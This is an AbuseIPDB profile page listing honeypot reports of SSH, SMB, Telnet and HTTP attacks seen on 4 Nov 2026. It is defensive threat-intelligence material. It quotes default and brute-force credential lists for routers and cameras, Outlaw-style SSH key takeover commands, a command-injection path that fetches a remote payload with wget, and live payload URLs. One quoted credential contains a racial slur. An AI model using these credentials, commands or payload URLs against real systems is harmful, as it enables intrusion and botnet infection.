AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Birdo joined AbuseIPDB in January 2024 and has reported 1,049,231 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER SUPPORTER

IP	Date	Comment	Categories
🇺🇸 50.6.202.5	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host attempted m ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 06:03 UTC \| 6 sessions \| 20 events \| SSH (port 2222) Attack chain: 1. 6 credential attempts: bob/1234, rootssssss23424123123/rootssssss23424123123, bob/root3245gs5662d34111111111 2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh Signatures: SSH Key Lockdown (Outlaw-style) Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/50.6.202.5.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇨🇳 121.14.34.219	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host attempted m ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 06:27 to 2026-11-04 06:44 UTC \| 9 sessions \| 17 events \| SSH (port 2222) Attack chain: 1. 9 credential attempts: 345gs5662d34/345gs5662d34, root/3245gs5662d34, root/123456a., rmsadm/rmsadm, mmt/mmt (+2 more pairs) 2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh Signatures: SSH Key Lockdown (Outlaw-style) Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/121.14.34.219.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇸🇬 47.237.172.204	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 06:19 to 2026-11-04 08:52 UTC \| 23 sessions \| 170 events \| SSH (port 22) Attack chain: 1. 23 credential attempts: adminuser/adminuser, root/test@123, root/Huawei123, vm/vm, ubuntu/P@ssw0rd (+18 more pairs) 2. Shell access obtained; 4 distinct commands executed: uname -s -v -n -r -m ; nproc ; lspci \| egrep VGA && lspci \| grep 3D Signatures: Host Reconnaissance Commands Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/47.237.172.204.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇷🇺 109.195.179.94	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 06:31 to 2026-11-04 07:15 UTC \| 26 sessions \| 106 events \| SSH (port 22) Attack chain: 1. 26 credential attempts: rootssssss23424123123/rootssssss23424123123, capella/capella, dep/dep, wapmail/wapmail, wapmail/root3245gs5662d34111111111 (+14 more pairs) 2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh Signatures: SSH Key Lockdown (Outlaw-style) Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/109.195.179.94.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇺🇸 192.227.249.3	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 10:29 to 2026-11-04 11:06 UTC \| 27 sessions \| 114 events \| SSH (port 2222) Attack chain: 1. 27 credential attempts: rootssssss23424123123/rootssssss23424123123, wind/wind, wind/root3245gs5662d34111111111, jw/jw, jw/root3245gs5662d34111111111 (+15 more pairs) 2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh Signatures: SSH Key Lockdown (Outlaw-style) Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/192.227.249.3.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇫🇮 65.21.111.76	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 09:02 to 2026-11-04 09:55 UTC \| 41 sessions \| 171 events \| SSH (port 2222) Attack chain: 1. 41 credential attempts: rootssssss23424123123/rootssssss23424123123, root/root3245gs5662d34111111111, root/Admin12345, deploy/asd, root/root@12 (+19 more pairs) 2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh Signatures: SSH Key Lockdown (Outlaw-style) Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/65.21.111.76.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇵🇰 111.68.98.152	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 09:01 to 2026-11-04 10:01 UTC \| 41 sessions \| 171 events \| SSH (port 2222) Attack chain: 1. 41 credential attempts: rootssssss23424123123/rootssssss23424123123, root/root3245gs5662d34111111111, root/aA112233, jason/Jason123!, den/den (+19 more pairs) 2. Shell access obtained; 1 distinct command executed: cd ~; chattr -ia .ssh; lockr -ia .ssh Signatures: SSH Key Lockdown (Outlaw-style) Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/111.68.98.152.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇫🇷 169.58.163.123	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 07:05 to 2026-11-04 08:25 UTC \| 43 sessions \| 184 events \| SSH (port 22) Attack chain: 1. 43 credential attempts: rootssssss23424123123/rootssssss23424123123, root/root3245gs5662d34111111111, admin/admin12, root/Admin@2025, root/Admin@123! (+18 more pairs) 2. Shell access obtained; 2 distinct commands executed: cd ~; chattr -ia .ssh; lockr -ia .ssh ; cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nza Signatures: SSH Key Lockdown (Outlaw-style), Persistence Mechanism Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/169.58.163.123.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇹🇼 61.231.193.189	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 08:36 to 2026-11-04 10:17 UTC \| 41 sessions \| 96 events \| SSH (port 2222) Attack chain: 1. 41 credential attempts: 345gs5662d34/345gs5662d34, root/3245gs5662d34, ubuntu/3245gs5662d34, system/nigger, root/root (+17 more pairs) 2. Shell access obtained; 3 distinct commands executed: cd ~; chattr -ia .ssh; lockr -ia .ssh ; cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nza ; cat /proc/cpuinfo \| grep name \| wc -l Signatures: SSH Key Lockdown (Outlaw-style), Persistence Mechanism Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/61.231.193.189.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇸🇬 103.187.147.214	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SSH A remote host brute-forced our emulated SSH service, then obtained shell access and executed commands. Observed: 2026-11-04 08:34 to 2026-11-04 08:57 UTC \| 43 sessions \| 102 events \| SSH (port 2222) Attack chain: 1. 43 credential attempts: 345gs5662d34/345gs5662d34, root/3245gs5662d34, root/1qaz@WSX., wang/123456, wang/3245gs5662d34 (+20 more pairs) 2. Shell access obtained; 3 distinct commands executed: cd ~; chattr -ia .ssh; lockr -ia .ssh ; cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nza ; cat /proc/cpuinfo \| grep name \| wc -l Signatures: SSH Key Lockdown (Outlaw-style), Persistence Mechanism Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/103.187.147.214.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking SSH Brute-Force
🇷🇸 89.216.39.30	04 Nov 2026	[Honeypot Report] Unauthorised shell access and command execution via SMB A remote host brute-force ... show more [Honeypot Report] Unauthorised shell access and command execution via SMB A remote host brute-forced our emulated SMB service, then obtained shell access and executed commands. Observed: 2026-11-04 06:09 to 2026-11-04 06:28 UTC \| 3,116 sessions \| 15,571 events \| SMB (port 445) Attack chain: 1. 3,112 credential attempts: administrator/ 2. Shell access obtained; 2 distinct commands executed: SMB1 NEGOTIATE (3 dialects) ; SMB2 NEGOTIATE (3 dialects) Signatures: Legacy SMB1 Dialect Negotiation Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/89.216.39.30.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Hacking Brute-Force
🇵🇰 101.53.235.251	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via HTTP An automated exploitation tool attemp ... show more [Honeypot Report] Vulnerability exploitation attempt via HTTP An automated exploitation tool attempted to exploit CVE-2016-6277. Observed: 2026-11-04 11:05 UTC \| 1 session \| 3 events \| HTTP (port 8443) Attack chain: 1. Exploit attempt: CVE-2016-6277 2. Requested 1 distinct path, including: /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://1... Classification: scanner \| Signatures: Netgear DGN CGI Command Injection Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/101.53.235.251.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Web App Attack Port Scan
🇹🇲 119.235.125.3	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempt ... show more [Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands. Observed: 2026-11-04 09:43 UTC \| 3 sessions \| 14 events \| SMB (port 445) Attack chain: 1. Exploit attempt: CVE-2017-0144 2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects) Classification: scanner \| Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/119.235.125.3.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Port Scan
🇹🇷 78.180.25.134	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempt ... show more [Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands. Observed: 2026-11-04 09:32 UTC \| 3 sessions \| 14 events \| SMB (port 445) Attack chain: 1. Exploit attempt: CVE-2017-0144 2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects) Classification: scanner \| Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/78.180.25.134.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Port Scan
🇦🇷 200.16.128.19	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempt ... show more [Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands. Observed: 2026-11-04 09:17 UTC \| 3 sessions \| 14 events \| SMB (port 445) Attack chain: 1. Exploit attempt: CVE-2017-0144 2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects) Classification: scanner \| Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/200.16.128.19.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Port Scan
🇸🇦 176.44.203.155	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempt ... show more [Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands. Observed: 2026-11-04 09:11 UTC \| 3 sessions \| 14 events \| SMB (port 445) Attack chain: 1. Exploit attempt: CVE-2017-0144 2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects) Classification: scanner \| Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/176.44.203.155.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Port Scan
🇳🇱 192.42.116.17	04 Nov 2026	[Honeypot Report] Malware dropped following SSH intrusion An automated malware loader attempted mul ... show more [Honeypot Report] Malware dropped following SSH intrusion An automated malware loader attempted multiple logins against our emulated SSH service, then obtained shell access and executed commands, and finally delivered an executable payload. Observed: 2026-11-04 09:29 UTC \| 1 session \| 17 events \| SSH (port 22) Attack chain: 1. 2 credential attempts: usuario/, usuario/1234 2. Shell access obtained; 4 distinct commands executed: LC_ALL=C rm -f ~/1h9bv7nsir0svmei5ky7ql9m4n ; scp -t ~/1h9bv7nsir0svmei5ky7ql9m4n ; LC_ALL=C ~/1h9bv7nsir0svmei5ky7ql9m4n 3. Malware dropped: SHA-256 e374a7ad447d2cf791ecae122894a51ba723901ea132e7fa16cd47c44e4a1769, 512 bytes, ELF 64-bit executable (Linux/Unix) Classification: malware loader Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/192.42.116.17.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking SSH Brute-Force
🇿🇦 105.186.142.192	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempt ... show more [Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands. Observed: 2026-11-04 06:11 to 2026-11-04 06:12 UTC \| 4 sessions \| 16 events \| SMB (port 445) Attack chain: 1. Exploit attempt: CVE-2017-0144 2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects) Classification: scanner \| Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/105.186.142.192.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Port Scan
🇮🇩 36.77.181.32	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempt ... show more [Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands. Observed: 2026-11-04 07:19 to 2026-11-04 07:20 UTC \| 4 sessions \| 16 events \| SMB (port 445) Attack chain: 1. Exploit attempt: CVE-2017-0144 2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects) Classification: scanner \| Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/36.77.181.32.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Port Scan
🇷🇺 217.23.191.122	04 Nov 2026	[Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempt ... show more [Honeypot Report] Vulnerability exploitation attempt via SMB An automated exploitation tool attempted to exploit CVE-2017-0144, then obtained shell access and executed commands. Observed: 2026-11-04 11:31 to 2026-11-04 11:33 UTC \| 4 sessions \| 16 events \| SMB (port 445) Attack chain: 1. Exploit attempt: CVE-2017-0144 2. Shell access obtained; 6 distinct commands executed: SMB1 SESSION_SETUP_ANDX anonymous (null session granted) ; TREE_CONNECT \\<target>\IPC$ ; SMB1 NEGOTIATE (4 dialects) Classification: scanner \| Signatures: Legacy SMB1 Dialect Negotiation, SMB1 EternalBlue / MS17-010 Probe Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/217.23.191.122.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking Port Scan
🇵🇰 103.162.40.32	04 Nov 2026	[Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader ... show more [Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DVR / IP camera (OEM default), GPON/ONT fibre terminal. Observed: 2026-11-04 10:23 to 2026-11-04 12:01 UTC \| 14 sessions \| 198 events \| Telnet (port 23) Attack chain: 1. 14 credential attempts: root/12341234, admin1/password, root/xc3511, gpon/gpon, root/jvbzd (+7 more pairs) 2. Shell access obtained; 11 distinct commands executed: start ; enable ; config terminal 3. Payload retrieval attempted from: http://115.59.38.160:47996/i Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/103.162.40.32.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking IoT Targeted Brute-Force
🇵🇰 175.107.0.236	04 Nov 2026	[Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader ... show more [Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match GPON/ONT fibre terminal, ZTE CPE. Observed: 2026-11-04 06:01 to 2026-11-04 06:53 UTC \| 321 sessions \| 5,109 events \| Telnet (port 23) Attack chain: 1. 320 credential attempts: root/666666, telecomadmin/nE7jA%5m, root/12341234, support/support, admin/epicrouter (+35 more pairs) 2. Shell access obtained; 12 distinct commands executed: start ; enable ; config terminal 3. Payload retrieval attempted from: http://123.5.130.150:50241/i, http://175.107.0.236:57112/i Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/175.107.0.236.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking IoT Targeted Brute-Force
🇨🇳 119.165.7.180	04 Nov 2026	[Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader ... show more [Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DVR / IP camera (OEM default), ISP-branded DSL gateway. Observed: 2026-11-04 09:26 to 2026-11-04 12:03 UTC \| 75 sessions \| 1,168 events \| Telnet (port 23) Attack chain: 1. 74 credential attempts: admin/bayandsl, admin/v2mprt, CMCCAdmin/CMCCAdmin, Admin/Admin, root/888888 (+26 more pairs) 2. Shell access obtained; 12 distinct commands executed: start ; enable ; config terminal 3. Payload retrieval attempted from: http://120.28.70.180:36239/i, http://120.28.70.180:36239/bin.sh Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/119.165.7.180.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking IoT Targeted Brute-Force
🇮🇳 103.192.67.196	04 Nov 2026	[Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader ... show more [Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DVR / IP camera (OEM default), GPON/ONT fibre terminal. Observed: 2026-11-04 10:02 to 2026-11-04 10:20 UTC \| 487 sessions \| 7,765 events \| Telnet (port 23) Attack chain: 1. 486 credential attempts: Administrator/admin, root/Pon521, admin/7ujMko0admin, root/root, root/system (+35 more pairs) 2. Shell access obtained; 12 distinct commands executed: start ; enable ; config terminal 3. Payload retrieval attempted from: http://39.80.52.125:37811/i, http://103.192.67.196:39392/i Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/103.192.67.196.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking IoT Targeted Brute-Force
🇵🇰 72.255.32.5	04 Nov 2026	[Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader ... show more [Honeypot Report] Attempted malware delivery following Telnet intrusion An automated malware loader brute-forced our emulated Telnet service, then obtained shell access and executed commands, and finally attempted to retrieve a remote payload. Credentials and request paths match DrayTek router, GPON/ONT fibre terminal. Observed: 2026-11-04 06:50 to 2026-11-04 11:22 UTC \| 5,411 sessions \| 86,520 events \| Telnet (port 23) Attack chain: 1. 5,410 credential attempts: root/Pon521, root/123456, root/ikwb, root/070admin, ubnt/ubnt (+35 more pairs) 2. Shell access obtained; 11 distinct commands executed: start ; enable ; config terminal 3. Payload retrieval attempted from: http://213.64.230.238:3621/i Full evidence: https://github.com/1Birdo/lyrebird-intel/blob/main/incidents/2026/11/72.255.32.5.md Reported by birdo.uk (Lyrebird honeypot lyrebird-01). Emulated service - no host was compromised. show less	Exploited Host Hacking IoT Targeted Brute-Force